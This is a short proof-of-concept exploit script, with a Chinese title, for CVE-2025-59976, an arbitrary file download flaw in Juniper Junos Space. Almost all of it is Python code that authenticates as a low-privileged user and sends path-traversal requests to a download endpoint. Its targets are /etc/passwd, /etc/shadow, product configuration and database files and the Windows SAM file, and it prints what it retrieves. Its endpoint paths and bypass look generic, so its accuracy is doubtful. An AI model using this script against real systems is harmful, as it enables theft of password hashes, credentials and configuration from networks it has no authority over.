CVE-2025-59976 Juniper Junos Space 任意文件下载漏洞

# CVE-2025-59976 - Juniper Junos Space Arbitrary File Download PoC # This PoC demonstrates the arbitrary file download vulnerability in Junos Space web interface # The vulnerability allows authenticated low-privileged users to access arbitrary files # beyond the normal file path restrictions enforced by the JBoss daemon. import requests from urllib.parse import quote # Target configuration TARGET_URL = "https://target-junos-space.example.com" USERNAME = "low_privilege_user" PASSWORD = "password123" # Files to attempt to download (sensitive files that should be restricted) TARGET_FILES = [ "/etc/passwd", "/etc/shadow", "/opt/juniper/space/conf/configuration.xml", "/opt/juniper/space/data/db.conf", "../../../etc/passwd", "..\\..\\..\\windows\\system32\\config\\SAM" ] def exploit(): session = requests.Session() # Step 1: Authenticate to Junos Space with low-privileged credentials login_url = f"{TARGET_URL}/api/juniper/login" login_data = { "username": USERNAME, "password": PASSWORD } response = session.post(login_url, data=login_data, verify=False) print(f"[*] Login response status: {response.status_code}") if response.status_code != 200: print("[!] Authentication failed") return print("[+] Authentication successful") # Step 2: Exploit path traversal via crafted GET requests # The vulnerability is triggered by using specially crafted GET methods # to access files beyond the file path normally allowed by the JBoss daemon for target_file in TARGET_FILES: # Encode the path traversal sequence encoded_path = quote(target_file, safe='') download_url = f"{TARGET_URL}/api/juniper/download?file={encoded_path}" # Use crafted GET method to bypass path restrictions headers = { "Accept": "application/octet-stream", "X-Requested-With": "XMLHttpRequest" } response = session.get(download_url, headers=headers, verify=False) if response.status_code == 200 and len(response.content) > 0: print(f"[+] Successfully accessed: {target_file}") print(f" Content preview: {response.content[:200]}") else: print(f"[-] Failed to access: {target_file} (Status: {response.status_code})") if __name__ == "__main__": exploit()